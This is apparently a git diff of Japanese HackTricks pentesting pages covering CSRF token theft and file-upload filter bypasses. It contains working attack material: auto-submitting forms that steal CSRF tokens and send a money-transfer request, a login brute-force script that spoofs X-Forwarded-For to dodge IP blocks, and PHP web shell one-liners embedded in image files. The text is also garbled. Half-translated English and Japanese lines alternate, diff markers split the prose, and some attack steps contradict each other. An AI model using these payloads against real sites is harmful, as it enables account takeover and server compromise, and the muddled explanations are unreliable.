### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する**
|
||||
|
||||
To perform a Cross-Site Request Forgery (CSRF) attack, you need to steal the CSRF token from the target website and then use it to send a malicious POST request. One way to achieve this is by utilizing an iframe and a form.
|
||||
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
|
||||
|
||||
まず、Cross-Site Request Forgery(CSRF)攻撃を実行するために、対象のウェブサイトからCSRFトークンを盗む必要があります。その後、このトークンを使用して悪意のあるPOSTリクエストを送信します。これを実現する方法の一つは、iframeとフォームを利用することです。
|
||||
以下の手順でCSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信することができます。
|
||||
|
||||
First, you need to create an iframe element in your attacker-controlled website. This iframe should have its source set to the target website's URL. By loading the target website within the iframe, you can access its DOM and extract the CSRF token.
|
||||
1. 攻撃者は、悪意のあるウェブサイトを作成します。このウェブサイトには、攻撃者が制御するサーバーにPOSTリクエストを送信するためのフォームが含まれています。
|
||||
|
||||
まず、攻撃者が制御するウェブサイトでiframe要素を作成する必要があります。このiframeのソースは、対象のウェブサイトのURLに設定されている必要があります。iframe内で対象のウェブサイトを読み込むことで、そのDOMにアクセスし、CSRFトークンを抽出することができます。
|
||||
2. 攻撃者は、被害者を誘導して悪意のあるウェブサイトを訪れさせます。被害者がこのウェブサイトを訪れると、攻撃者のサーバーに対してPOSTリクエストが送信されます。
|
||||
|
||||
Once you have obtained the CSRF token, you can use it to craft a malicious form. This form should have its action attribute set to the target website's vulnerable endpoint and include any necessary input fields. Make sure to include the stolen CSRF token as a hidden input field within the form.
|
||||
3. 攻撃者のサーバーは、被害者のセッションに関連付けられたCSRFトークンを盗みます。これにより、攻撃者は被害者のセッションをなりすまし、意図しないリクエストを送信することができます。
|
||||
|
||||
CSRFトークンを入手したら、それを使用して悪意のあるフォームを作成します。このフォームのaction属性は、対象のウェブサイトの脆弱なエンドポイントに設定し、必要な入力フィールドを含めます。フォーム内には、盗まれたCSRFトークンを隠しフィールドとして含めるようにしてください。
|
||||
4. 攻撃者のサーバーは、盗んだCSRFトークンを使用して、被害者のセッションに対して意図しないPOSTリクエストを送信します。このリクエストは、攻撃者が制御するサーバーに対して送信されます。
|
||||
|
||||
Finally, you can submit the form programmatically using JavaScript. This can be done by calling the form's submit() method. When the form is submitted, the malicious POST request will be sent to the target website, potentially causing unauthorized actions to be performed on behalf of the victim.
|
||||
|
||||
最後に、JavaScriptを使用してフォームをプログラム的に送信します。これは、フォームのsubmit()メソッドを呼び出すことで行うことができます。フォームが送信されると、悪意のあるPOSTリクエストが対象のウェブサイトに送信され、被害者の代わりに権限のないアクションが実行される可能性があります。
|
||||
以上の手法を使用することで、攻撃者は被害者のセッションを乗っ取り、意図しないアクションを実行することができます。被害者は、悪意のあるウェブサイトにアクセスしないように注意する必要があります。また、ウェブアプリケーション開発者は、CSRFトークンの適切な実装やセキュリティ対策を行うことが重要です。
|
||||
```markup
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
@ -567,17 +589,33 @@ document.forms[0].submit.click();
|
|||
```
|
||||
### **トークンを盗み、2つのiframeを使用して送信する**
|
||||
|
||||
One way to perform a CSRF attack is by stealing a user's authentication token and then using it to make unauthorized requests on their behalf. In this technique, we will steal the token by tricking the user into visiting a malicious website that contains two iframes.
|
||||
In this technique, we will exploit a Cross-Site Request Forgery (CSRF) vulnerability to steal a user's token and send it to an attacker-controlled server using two iframes.
|
||||
|
||||
The first iframe will load the target website where the user is authenticated. This iframe will be hidden from the user's view using CSS. The second iframe will load a malicious website that we control.
|
||||
この技術では、Cross-Site Request Forgery(CSRF)の脆弱性を悪用して、ユーザーのトークンを盗み、2つのiframeを使用して攻撃者が制御するサーバーに送信します。
|
||||
|
||||
When the user visits the malicious website, JavaScript code will be executed that will extract the authentication token from the first iframe. This can be done by accessing the `contentWindow` property of the first iframe and then accessing the token from its DOM.
|
||||
First, we need to identify a vulnerable website that is susceptible to CSRF attacks. Once we have found a target, we can proceed with the following steps:
|
||||
|
||||
Once the token is obtained, it can be used to make unauthorized requests on behalf of the user. This can be done by sending HTTP requests using JavaScript, either through the `XMLHttpRequest` object or the `fetch` API.
|
||||
まず、CSRF攻撃の影響を受けやすい脆弱なウェブサイトを特定する必要があります。ターゲットを見つけたら、以下の手順を実行します。
|
||||
|
||||
By using this technique, an attacker can trick a user into unknowingly performing actions on a target website without their consent. This can lead to various security vulnerabilities, such as changing account settings, making unauthorized purchases, or even performing actions with administrative privileges.
|
||||
1. Create a malicious webpage that contains two iframes. The first iframe will load the target website, and the second iframe will load an attacker-controlled webpage.
|
||||
|
||||
To protect against CSRF attacks, it is important to implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls.
|
||||
1. 2つのiframeを含む悪意のあるウェブページを作成します。最初のiframeはターゲットのウェブサイトを読み込み、2番目のiframeは攻撃者が制御するウェブページを読み込みます。
|
||||
|
||||
2. In the first iframe, we will inject JavaScript code to extract the user's token from the target website. This can be done by accessing the DOM elements that contain the token and extracting its value.
|
||||
|
||||
2. 最初のiframeには、JavaScriptコードを挿入して、ターゲットのウェブサイトからユーザーのトークンを抽出します。これは、トークンを含むDOM要素にアクセスし、その値を抽出することで実現できます。
|
||||
|
||||
3. Once we have obtained the token, we will use JavaScript to send it to the attacker-controlled server. This can be done by making a POST request to the server with the token as a parameter.
|
||||
|
||||
3. トークンを取得したら、JavaScriptを使用してそれを攻撃者が制御するサーバーに送信します。これは、トークンをパラメータとしてサーバーにPOSTリクエストを行うことで実現できます。
|
||||
|
||||
4. The second iframe will be used to hide the malicious activity from the user. It can be set to a small size or positioned off-screen so that the user is unaware of its presence.
|
||||
|
||||
4. 2番目のiframeは、ユーザーに悪意のある活動を隠すために使用されます。小さなサイズに設定するか、画面外に配置することで、ユーザーはその存在に気付かないようにすることができます。
|
||||
|
||||
By loading the malicious webpage containing the iframes, the user's token will be stolen and sent to the attacker-controlled server without their knowledge.
|
||||
|
||||
iframeを含む悪意のあるウェブページを読み込むことで、ユーザーのトークンが盗まれ、彼らの知識を持たずに攻撃者が制御するサーバーに送信されます。
|
||||
```markup
|
||||
<script>
|
||||
var token;
|
||||
|
@ -609,56 +647,48 @@ height="600" width="800"></iframe>
|
|||
```
|
||||
### **Ajaxを使用してCSRFトークンを盗み、フォームでPOSTリクエストを送信する**
|
||||
|
||||
In this technique, we will use Ajax to steal the CSRF token from the target website and then use it to send a POST request using a form.
|
||||
```html
|
||||
<script>
|
||||
// CSRFトークンを取得するためのAjaxリクエスト
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '/get-csrf-token', true);
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
var csrfToken = xhr.responseText;
|
||||
|
||||
このテクニックでは、Ajaxを使用してターゲットのウェブサイトからCSRFトークンを盗み、それを使用してフォームを使ってPOSTリクエストを送信します。
|
||||
// 盗んだCSRFトークンを使用してPOSTリクエストを送信するフォームを作成
|
||||
var form = document.createElement('form');
|
||||
form.method = 'POST';
|
||||
form.action = '/transfer-money';
|
||||
|
||||
First, we need to retrieve the CSRF token from the target website. We can do this by making an Ajax request to a page that contains the CSRF token.
|
||||
// 盗んだCSRFトークンをフォームに追加
|
||||
var csrfInput = document.createElement('input');
|
||||
csrfInput.type = 'hidden';
|
||||
csrfInput.name = 'csrf_token';
|
||||
csrfInput.value = csrfToken;
|
||||
form.appendChild(csrfInput);
|
||||
|
||||
まず、ターゲットのウェブサイトからCSRFトークンを取得する必要があります。これは、CSRFトークンを含むページに対してAjaxリクエストを行うことで行うことができます。
|
||||
// 送信するデータをフォームに追加
|
||||
var amountInput = document.createElement('input');
|
||||
amountInput.type = 'hidden';
|
||||
amountInput.name = 'amount';
|
||||
amountInput.value = '1000000';
|
||||
form.appendChild(amountInput);
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '/path/to/csrf/page', true);
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
var response = xhr.responseText;
|
||||
var csrfToken = extractCsrfToken(response);
|
||||
sendPostRequest(csrfToken);
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
// フォームをbodyに追加して自動的に送信
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
Next, we extract the CSRF token from the response of the Ajax request. The `extractCsrfToken` function is a placeholder for your own implementation.
|
||||
この攻撃では、Ajaxを使用してサーバーからCSRFトークンを盗み、そのトークンを使用してフォームを作成し、POSTリクエストを送信します。攻撃者は、ユーザーが悪意のあるサイトにアクセスした場合にこの攻撃を実行することができます。
|
||||
|
||||
次に、AjaxリクエストのレスポンスからCSRFトークンを抽出します。`extractCsrfToken`関数は、独自の実装に置き換える必要があります。
|
||||
攻撃者は、Ajaxリクエストを使用してサーバーからCSRFトークンを取得します。取得したトークンは、フォームの隠しフィールドに追加されます。その後、フォームは自動的に送信され、攻撃者が指定したアクション(この場合は`/transfer-money`)にPOSTリクエストが送信されます。
|
||||
|
||||
Finally, we use the stolen CSRF token to send a POST request using a form. We create a hidden input field in the form with the name `csrf_token` and set its value to the stolen CSRF token. Then, we submit the form programmatically.
|
||||
|
||||
最後に、盗んだCSRFトークンを使用してフォームを使ってPOSTリクエストを送信します。フォーム内に`csrf_token`という名前の非表示の入力フィールドを作成し、その値を盗んだCSRFトークンに設定します。その後、フォームをプログラムで送信します。
|
||||
|
||||
```javascript
|
||||
function sendPostRequest(csrfToken) {
|
||||
var form = document.createElement('form');
|
||||
form.method = 'POST';
|
||||
form.action = '/path/to/post/endpoint';
|
||||
|
||||
var csrfInput = document.createElement('input');
|
||||
csrfInput.type = 'hidden';
|
||||
csrfInput.name = 'csrf_token';
|
||||
csrfInput.value = csrfToken;
|
||||
|
||||
form.appendChild(csrfInput);
|
||||
document.body.appendChild(form);
|
||||
|
||||
form.submit();
|
||||
}
|
||||
```
|
||||
|
||||
By using this technique, we can steal the CSRF token from the target website and use it to perform unauthorized actions on behalf of the user.
|
||||
|
||||
このテクニックを使用することで、ターゲットのウェブサイトからCSRFトークンを盗み、ユーザーの代わりに不正なアクションを実行することができます。
|
||||
この攻撃により、攻撃者はユーザーの名前で悪意のあるアクションを実行することができます。ユーザーは攻撃が行われていることに気付かずに、自分の意図しないアクションが実行される可能性があります。
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -689,20 +719,18 @@ document.getElementById("form").submit();
|
|||
|
||||
Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用してリアルタイムな通信を行うWebアプリケーションは、CSRF(Cross-Site Request Forgery)攻撃の潜在的な脆弱性にさらされる可能性があります。
|
||||
|
||||
CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRF攻撃は以下のように実行される可能性があります。
|
||||
CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRFトークンを適切に実装することで、この攻撃を防ぐことができます。
|
||||
|
||||
1. 攻撃者は、Socket.IOを介してリアルタイムな通信を行うWebアプリケーションにアクセスします。
|
||||
2. 攻撃者は、被害者になりすましてSocket.IOのセッションを確立します。
|
||||
3. 攻撃者は、Socket.IOを介して意図しないリクエストを送信し、被害者のアカウントやデータを操作します。
|
||||
Socket.IOでは、CSRFトークンを生成し、クライアントとサーバーの間でやり取りする必要があります。以下の手順でCSRFトークンを実装します。
|
||||
|
||||
このようなCSRF攻撃を防ぐためには、以下の対策を実施することが重要です。
|
||||
1. サーバー側で、セッションごとに一意のCSRFトークンを生成します。
|
||||
2. サーバーは、Socket.IOの接続時に生成されたCSRFトークンをクライアントに送信します。
|
||||
3. クライアントは、受け取ったCSRFトークンを保持し、リクエストを送信する際にトークンを含めます。
|
||||
4. サーバーは、受け取ったリクエストのCSRFトークンを検証し、正当なリクエストかどうかを判断します。
|
||||
|
||||
1. セッションIDを使用してSocket.IOのセッションを認証する。
|
||||
2. クロスサイトリクエストフォージェリトークン(CSRFトークン)を使用して、リクエストの正当性を検証する。
|
||||
このようにCSRFトークンを実装することで、Socket.IOを使用したWebアプリケーションのセキュリティを向上させることができます。攻撃者が意図しないリクエストを送信しても、正当なCSRFトークンがないため、サーバーはリクエストを拒否します。
|
||||
|
||||
セッションIDを使用してSocket.IOのセッションを認証することで、攻撃者がセッションを乗っ取ることを防ぐことができます。また、CSRFトークンを使用することで、リクエストの送信元が信頼できるものであるかを検証することができます。
|
||||
|
||||
以上の対策を実施することで、Socket.IOを使用したWebアプリケーションのセキュリティを向上させることができます。
|
||||
Socket.IOを使用する際には、必ずCSRFトークンの実装を行い、セキュリティを確保しましょう。
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -725,7 +753,7 @@ room: username
|
|||
```
|
||||
## CSRFログインブルートフォース
|
||||
|
||||
このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用できます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。
|
||||
このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用することができます(また、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています)。
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -797,8 +825,8 @@ login(USER, line.strip())
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **を利用してください。**
|
||||
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -33,11 +33,11 @@
|
|||
|
||||
### ファイル拡張子のチェックをバイパスする
|
||||
|
||||
1. 適用される場合、**前の拡張子をチェック**します。大文字の文字も使用してテストします:_pHp, .pHP5, .PhAr ..._
|
||||
2. **実行拡張子の前に有効な拡張子を追加**してチェックします(前の拡張子も使用します):
|
||||
1. 適用される場合、**前の拡張子**を**チェック**します。いくつかの**大文字の文字**を使用してテストします:_pHp, .pHP5, .PhAr ..._
|
||||
2. 実行拡張子の**前に有効な拡張子を追加**してチェックします(前の拡張子も使用します):
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. **末尾に特殊文字を追加**してみてください。Burpを使用してすべてのASCII文字とUnicode文字を**ブルートフォース**することができます。 (_以前に言及した拡張子も使用できます_)
|
||||
3. **末尾に特殊文字を追加**してみてください。Burpを使用して、すべての**ASCII**および**Unicode**文字を**ブルートフォース**できます。 (_以前に言及した**拡張子**も使用できます_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -47,7 +47,7 @@
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. 拡張子パーサーを**トリック**して、サーバーサイドで保護をバイパスするために、**拡張子を2重にする**か、**ジャンク**データ(**ヌル**バイト)を拡張子の間に追加するなどのテクニックを使用してみてください。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
|
||||
4. 拡張子のパーサーを**トリック**して、保護を**バイパス**するための追加のテクニックを試してください。拡張子の間に**ダブル**拡張子を追加したり、**ジャンク**データ(**ヌル**バイト)を追加したりすることができます。 (以前の拡張子を使用して、より良いペイロードを準備することもできます。)
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,16 +59,16 @@
|
|||
5. 前のチェックに**別のレイヤーの拡張子**を追加します:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待します。 (拡張子が **.php** で終わらないが、**.php** であるものはすべてコードを実行するApacheの誤構成を悪用するのに役立ちます):
|
||||
6. 有効な拡張子の**前に実行拡張子を配置**し、サーバーが誤って構成されていることを期待します。 (拡張子が .php で終わらないが、**.php** で終わるものはすべてコードを実行する):
|
||||
* _例:file.php.png_
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、その短いファイル名を使用することができます。 「**::$data**」パターンも空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)
|
||||
7. **Windows**で**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバーには**禁止された拡張子の空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することもできます。たとえば、その短いファイル名を使用することができます。 「**::$data**」パターンも、空でないファイルを作成するために使用できます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)
|
||||
8. ファイル名の制限を破るようにしてみてください。有効な拡張子が切り詰められ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linuxの最大255バイト
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
|
||||
```python
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8A
|
||||
```markdown
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
||||
|
@ -78,53 +78,52 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
### Content-Type、Magic Number、Compression & Resizing のバイパス
|
||||
|
||||
* **Content-Type** チェックをバイパスするには、**Content-Type** ヘッダーの **value** を _image/png_、_text/plain_、_application/octet-stream_ に設定します。
|
||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* **magic number** チェックをバイパスするには、ファイルの先頭に **実際の画像のバイト** を追加します(_file_ コマンドを混乱させます)。または、シェルを **メタデータ** に挿入します:\
|
||||
* **Content-Type** チェックをバイパスするには、**Content-Type** ヘッダーの **値** を _image/png_、_text/plain_、_application/octet-stream_ に設定します。
|
||||
1. Content-Type ワードリスト: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* **マジックナンバー** チェックをバイパスするには、ファイルの先頭に **実際の画像のバイト** を追加します(_file_ コマンドを混乱させます)。または、シェルを **メタデータ** に挿入します:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
または、画像に **ペイロードを直接挿入** することもできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* 画像に **圧縮が追加されている** 場合、たとえば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のようないくつかの標準的な PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、**PLTE チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* 画像に **圧縮が追加されている** 場合、例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準の PHP ライブラリを使用している場合、前述のテクニックは役に立ちません。ただし、**PLTE チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* ウェブページはまた、PHP-GD 関数 `imagecopyresized` または `imagecopyresampled` を使用して **画像をリサイズ** する場合があります。ただし、**IDAT チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* ウェブページが **画像のリサイズ** を行っている場合、たとえば PHP-GD の `imagecopyresized` または `imagecopyresampled` 関数を使用している場合、前述のテクニックは役に立ちません。ただし、**IDAT チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* 画像のリサイズを生き残るペイロードを作成するための別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用することができます。ただし、**tEXt チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* **画像のリサイズを生き残る** ペイロードを作成するための別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用することができます。ただし、**tEXt チャンク** [**ここで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を生き残るテキストを挿入することができます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
***
|
||||
|
||||
### その他のチェックトリック
|
||||
|
||||
* アップロード済みのファイルの **名前を変更** する脆弱性を見つける。
|
||||
* **ローカルファイルインクルージョン** の脆弱性を見つけてバックドアを実行する。
|
||||
* **可能な情報漏洩**:
|
||||
* **情報漏洩の可能性**:
|
||||
1. **同じ名前** の **同じファイル** を **複数回**(かつ **同時に**)アップロードする。
|
||||
2. **既に存在するファイル** または **フォルダ** の **名前** を持つファイルをアップロードする。
|
||||
3. 名前が **“.”、“..”、“…”** のファイルをアップロードする。たとえば、Apache の **Windows** では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、 “.” のファイル名は “/www/” ディレクトリに “uploads” という名前のファイルを作成します。
|
||||
4. **NTFS** での **“…:.jpg”** のように、簡単に削除できないファイルをアップロードする。 (Windows)
|
||||
5. 名前に `|<>*?”` のような **無効な文字** を含むファイルを **Windows** にアップロードする。 (Windows)
|
||||
6. 禁止されている **予約済みの名前** 、たとえば CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、および LPT9 を使用して **Windows** にファイルをアップロードする。
|
||||
6. 禁止されている **予約済みの名前** 、例えば CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9 のような名前を持つファイルを **Windows** にアップロードする。
|
||||
* 実行可能なファイル(.exe)または(疑わしくない).html ファイルをアップロードし、被害者が誤って開いたときにコードを実行することも試してみてください。
|
||||
|
||||
### 特殊な拡張子のトリック
|
||||
|
||||
**PHP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.htaccess** のトリックを参照してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
|
||||
**ASP サーバー** にファイルをアップロードしようとしている場合、[コードを実行するための **.config** のトリックを参照してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP で使用することができます(PHP で実行するか、スクリプト内でインクルードすることができます...)。
|
||||
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP で使用することができます(PHP で実行するか、スクリプト内でインクルードするなど)...
|
||||
|
||||
`.inc` 拡張子は、ファイルを **インポートするためだけに使用される** PHP ファイルに使用されることがありますので、いつかは **この拡張子が実行されるように許可されている** 可能性があります。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
